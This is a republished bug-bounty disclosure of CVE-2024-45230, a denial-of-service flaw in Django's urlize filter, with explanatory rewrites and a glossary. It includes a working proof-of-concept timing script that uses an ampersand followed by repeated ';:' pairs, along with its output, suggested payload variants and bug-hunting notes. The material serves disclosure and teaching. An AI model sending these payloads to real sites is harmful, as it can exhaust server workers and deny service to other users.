Skip to content
DoS Disclosed report Intermediate CVE-2024-45230

CVE-2024-45230 - Potential denial-of-service in django.utils.html.urlize() (Another pattern)

The urlize and urlizetrunc helpers in Django took disproportionately long to process very large inputs containing a specific sequence of characters, with an ampersand next to repeated semicolon-colon pairs. An attacker could send such a string to a site that passes user input to these helpers without size limits, causing reduced performance or denial of service.

mprogrammer Follow

Originally disclosed on HackerOne

Bounty$2,162 Medium View original
  • Fixed in 2 months
  • Paid in 2 months
  • Disclosed after 2 months

Summary by the program

VE-2024-45230: Potential denial-of-service vulnerability in django.utils.html.urlize()

urlize and urlizetrunc were subject to a potential denial-of-service attack via very large inputs with a specific sequence of characters.

The report

This one is similar to https://hackerone.com/reports/2795558, but I found the DoS vulnerability by putting an ampersand character beside repeated ;: characters. This is the PoC that I used:

import django.utils.html
from time import time

print("=== django.utils.html.urlize('&' + ';:' * n) ===")
for i in range(0,600000, 40000):
    start = time()
    pattern = ';:'
    PAYLOAD = '&' + pattern * i
    django.utils.html.urlize(PAYLOAD)
    print(len(PAYLOAD), "\t", time() - start)
input("")
=== django.utils.html.urlize('&' + ';:' * n) ===
2      0.0
80002      0.8933408260345459
160002      3.4347267150878906
240002      7.70803427696228
320002      14.04338812828064
400002      23.33271551132202
480002      34.01262950897217
560002      50.18527007102966
640002      66.2295835018158
720002      84.84082579612732
800002      105.49288773536682
880002      125.54152035713196
960002      155.80166292190552
1040002      187.27826762199402

Impact

Reduced performance or Denial of Service was possible if django.utils.html.urlize was used without strict limits on a large user string.

The original report as published on HackerOne, by mprogrammer. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

Django ships a template filter called urlize, implemented in django.utils.html.urlize(), with a companion urlizetrunc. The filter takes a block of plain text and turns anything that looks like a URL or an email address into a clickable HTML link, leaving the rest of the text alone. It is a convenience filter for rendering user-supplied prose, so by design it receives strings whose length and content the application does not fully control.

CVE-2024-45230 is a potential denial-of-service issue in that function. As the program summary puts it, urlize and urlizetrunc were subject to a potential denial-of-service attack via very large inputs containing a specific sequence of characters. This report describes one such sequence, found by the researcher, which is a variation on an earlier report (2795558).

Setup

The report does not describe any account, role, deployment or version. The only tooling shown is a Python script that imports django.utils.html directly and times calls to urlize with time() from the standard library. The precondition is simply that an application passes a large, attacker-influenced string to urlize (or urlizetrunc) without a strict length limit.

Finding it

The researcher was working from a known class of problem: urlize on very large inputs can become disproportionately slow. The earlier report used one character sequence; this one was found by placing an ampersand next to repeated ;: pairs. The report does not explain why this sequence is slow.

Exploitation

Step 1: build a payload of an ampersand followed by repeated ;: pairs

The script constructs the payload as '&' + ';:' * i and feeds it to urlize, growing i in steps of 40000 up to 600000. It prints the payload length and the elapsed time for each call.

Python
import django.utils.html
from time import time

print("=== django.utils.html.urlize('&' + ';:' * n) ===")
for i in range(0,600000, 40000):
    start = time()
    pattern = ';:'
    PAYLOAD = '&' + pattern * i
    django.utils.html.urlize(PAYLOAD)
    print(len(PAYLOAD), "\t", time() - start)
input("")

The payload is an ampersand followed by repeated ;: pairs. Because the loop multiplies the two-character pattern by i, the payload length grows by 80000 characters per iteration.

Step 2: observe the timing curve

The output shows elapsed time rising far faster than the input length:

=== django.utils.html.urlize('&' + ';:' * n) ===
2      0.0
80002      0.8933408260345459
160002      3.4347267150878906
240002      7.70803427696228
320002      14.04338812828064
400002      23.33271551132202
480002      34.01262950897217
560002      50.18527007102966
640002      66.2295835018158
720002      84.84082579612732
800002      105.49288773536682
880002      125.54152035713196
960002      155.80166292190552
1040002      187.27826762199402

A two-character input returns instantly. At roughly 80000 characters the call already takes about 0.89 seconds; at about 400000 characters it takes about 23 seconds; at about 1.04 million characters it takes about 187 seconds. Elapsed time rises steeply as the input grows. A call with about a megabyte of input took about 187 seconds in the researcher's script.

Root cause

The report does not include the patch or a code walkthrough, so the precise defect is not stated here. What the timings show is that urlize performs work that scales superlinearly with input length when the input begins with & and continues with repeated ;: pairs.

Impact

As the report states, reduced performance or denial of service was possible if django.utils.html.urlize was used without strict limits on a large user string. The affected party is any application that passes a large user string to urlize without strict limits. The consequence is reduced performance or denial of service. The report does not claim remote code execution, data exposure or a specific request rate needed to take a site down.

Fix

The program summary records the issue as CVE-2024-45230 and states that urlize and urlizetrunc were subject to the denial-of-service via very large inputs with a specific sequence of characters.

Variants to test

  1. Other leading characters that begin a token, such as @ (email detection) or a scheme-like prefix, followed by repeated punctuation. A positive result is a timing curve that grows faster than the input length.
  2. Different repeated pairs besides ;:, for example ::, ;; or mixed punctuation. A positive result is the same superlinear growth at comparable sizes.
  3. The truncating variant urlizetrunc with the same payloads. A positive result is that the truncation limit does not prevent the slow path from running.
  4. Payloads placed after a long benign prefix rather than at the start. A positive result is that the cost still scales with the total input, not just the tail.

Hunting notes

This kind of bug hides in text-processing helpers that are handed raw user content: linkifiers, autolinkers, markdown renderers, entity decoders and URL detectors. During recon, look for features that render free-form text (comments, bios, tickets, chat) and for frameworks whose helpers are documented as safe on arbitrary input. The signal is a helper that has no documented length limit and is called on request bodies directly.

The researcher showed enough impact by producing a clean, reproducible timing table: a small script, a fixed payload shape, and elapsed times that climb from 0.0 seconds to about 187 seconds as the input grows to about 1.04 million characters. The script produced a reproducible timing table showing the slowdown.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

What happened, in plain words

Django is a popular toolkit for building websites with the Python programming language. Among the many helpers it ships is a small text filter called urlize, which lives in a module called django.utils.html. You give it a block of ordinary text, and it turns anything that looks like a web address or an email address into a clickable link, leaving the rest of the text as it was. A companion filter, urlizetrunc, does the same but shortens long links.

Because urlize is meant for showing text that users type in (comments, profiles, messages), it regularly receives strings whose length and content the website does not fully control. That is exactly the situation where a denial-of-service bug matters.

A denial-of-service (DoS) attack is when someone makes a service so slow or so busy that normal users cannot use it. Think of a shop assistant who is asked an endless, tangled question: nothing is stolen, but every other customer has to wait. The vulnerability class here is "allocation of resources without limits or throttling": the program spends time and computing power on a task without any cap on how much it will spend.

CVE-2024-45230 is the official identifier for this issue. A CVE is a public catalogue number given to a known security flaw so people can track it. The summary recorded with the report says that urlize and urlizetrunc were subject to a potential denial-of-service attack via very large inputs containing a specific sequence of characters. This report describes one such sequence, found by the researcher, which is a variation on an earlier report (2795558).

Setup

The report does not describe any account, role, deployment or version. The only tooling shown is a short Python script that imports django.utils.html directly and measures how long calls to urlize take, using time() from Python's standard library.

The precondition is simple: an application passes a large string that an attacker can influence to urlize (or urlizetrunc) without a strict length limit. No special access is needed beyond being able to submit that text.

Finding it

The researcher started from a known class of problem: urlize on very large inputs can become disproportionately slow. The earlier report used one character sequence; this one was found by placing an ampersand (&) next to repeated ;: pairs.

The report does not explain why this sequence is slow. A parser is the part of the program that reads text and works out its structure, a bit like a person reading a sentence word by word to decide what each part means.

Exploitation

Step 1: build a payload of an ampersand followed by repeated ;: pairs

The script builds the payload as '&' + ';:' * i and feeds it to urlize, growing i in steps of 40000 up to 600000. For each call it prints the payload length and the elapsed time.

Python
import django.utils.html
from time import time

print("=== django.utils.html.urlize('&' + ';:' * n) ===")
for i in range(0,600000, 40000):
    start = time()
    pattern = ';:'
    PAYLOAD = '&' + pattern * i
    django.utils.html.urlize(PAYLOAD)
    print(len(PAYLOAD), "\t", time() - start)
input("")

Line by line:

  1. import django.utils.html loads the part of Django that contains urlize, so the script can call it directly without running a whole website.
  2. from time import time brings in a function that reads the current clock time, used to measure how long each call takes.
  3. The print line just writes a heading so the output is easy to read.
  4. for i in range(0,600000, 40000): repeats the experiment with i taking the values 0, 40000, 80000 and so on up to just under 600000. Each step makes the input bigger.
  5. start = time() records the time just before the call.
  6. pattern = ';:' defines the two-character filler.
  7. PAYLOAD = '&' + pattern * i builds the test string: one ampersand, then the ;: pair repeated i times. Because the pattern is two characters long, the payload grows by 80000 characters per iteration.
  8. django.utils.html.urlize(PAYLOAD) is the call being measured. The result is thrown away; only the time matters.
  9. print(len(PAYLOAD), "\t", time() - start) prints the payload length, a tab, and the seconds elapsed since start.
  10. input("") pauses at the end so the window does not close before the output can be read.

The payload is an ampersand followed by repeated ;: pairs.

Step 2: observe the timing curve

The output shows elapsed time rising far faster than the input length:

Text
=== django.utils.html.urlize('&' + ';:' * n) ===
2      0.0
80002      0.8933408260345459
160002      3.4347267150878906
240002      7.70803427696228
320002      14.04338812828064
400002      23.33271551132202
480002      34.01262950897217
560002      50.18527007102966
640002      66.2295835018158
720002      84.84082579612732
800002      105.49288773536682
880002      125.54152035713196
960002      155.80166292190552
1040002      187.27826762199402

Each line has two numbers: the length of the input string, and how many seconds the call took. A two-character input returns instantly. At roughly 80000 characters the call already takes about 0.89 seconds; at about 400000 characters it takes about 23 seconds; at about 1.04 million characters it takes about 187 seconds.

Elapsed time rises steeply as the input grows. "Linear" means the work grows in step with the input, like reading a page one line at a time. "Quadratic" means the work grows with the square of the input, like comparing every line of a page with every other line. A call with about a megabyte of input took about 187 seconds in the researcher's script. A worker is one of the processes a web server uses to handle requests; while it is busy, it cannot serve anyone else.

Root cause

The report does not include the patch or a code walkthrough, so the precise defect is not stated here. What the timings show is that urlize performs work that scales superlinearly with input length when the input begins with & and continues with repeated ;: pairs.

Impact

As the report states, reduced performance or denial of service was possible if django.utils.html.urlize was used without strict limits on a large user string. The affected party is any application that passes a large user string to urlize without strict limits. The consequence is reduced performance or denial of service. Concurrency means many requests being handled at the same time; if each one holds a worker for minutes, the pool of workers runs out.

The report does not claim remote code execution, data exposure or a specific request rate needed to take a site down.

Fix

The program summary records the issue as CVE-2024-45230 and states that urlize and urlizetrunc were subject to the denial-of-service via very large inputs with a specific sequence of characters.

Variants to test

  1. Other leading characters that begin a token, such as @ (email detection) or a scheme-like prefix, followed by repeated punctuation. A positive result is a timing curve that grows faster than the input length.
  2. Different repeated pairs besides ;:, for example ::, ;; or mixed punctuation. A positive result is the same superlinear growth at comparable sizes.
  3. The truncating variant urlizetrunc with the same payloads. A positive result is that the truncation limit does not prevent the slow path from running.
  4. Payloads placed after a long benign prefix rather than at the start. A positive result is that the cost still scales with the total input, not just the tail.

Hunting notes

This kind of bug hides in text-processing helpers that are handed raw user content: linkifiers, autolinkers, markdown renderers, entity decoders and URL detectors. During recon, look for features that render free-form text (comments, bios, tickets, chat) and for frameworks whose helpers are documented as safe on arbitrary input. Recon means the early survey of a target to see what it does and where its inputs are. The signal is a helper that has no documented length limit and is called on request bodies directly.

The researcher showed enough impact by producing a clean, reproducible timing table: a small script, a fixed payload shape, and elapsed times that climb from 0.0 seconds to about 187 seconds as the input grows to about 1.04 million characters. The script produced a reproducible timing table showing the slowdown.

Glossary

  • Django: a toolkit (framework) for building websites in the Python programming language.
  • Python: a widely used programming language.
  • urlize: a Django text filter that turns URLs and email addresses in plain text into clickable HTML links.
  • urlizetrunc: the companion filter that does the same but shortens long links.
  • Filter: a small function that transforms text before it is displayed.
  • HTML: the language web pages are written in; a link in HTML is an anchor element.
  • Denial of service (DoS): making a service so slow or busy that normal users cannot use it.
  • CVE: a public catalogue number given to a known security flaw so it can be tracked.
  • Payload: the crafted input sent to a program to trigger a bug.
  • Parser: the part of a program that reads text and works out its structure.
  • Token: a meaningful chunk of text that a parser recognises, such as a word, a link or an entity.
  • Entity: a coded character in HTML, such as & for an ampersand.
  • Linear: work that grows in step with the size of the input.
  • Quadratic: work that grows with the square of the input size, so doubling the input roughly quadruples the work.
  • Superlinear: growing faster than the input size, which includes quadratic and worse.
  • Worker: one of the processes a web server uses to handle requests; a busy worker cannot serve anyone else.
  • Concurrency: many requests being handled at the same time.
  • Mitigation: a change that reduces or removes the risk, such as upgrading or capping input length.
  • Recon: the early survey of a target to see what it does and where its inputs are.
  • Remote code execution: an attacker running their own code on the target server; not claimed in this report.
  • Data exposure: an attacker reading data they should not see; not claimed in this report.

More by mprogrammer

View all

3 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.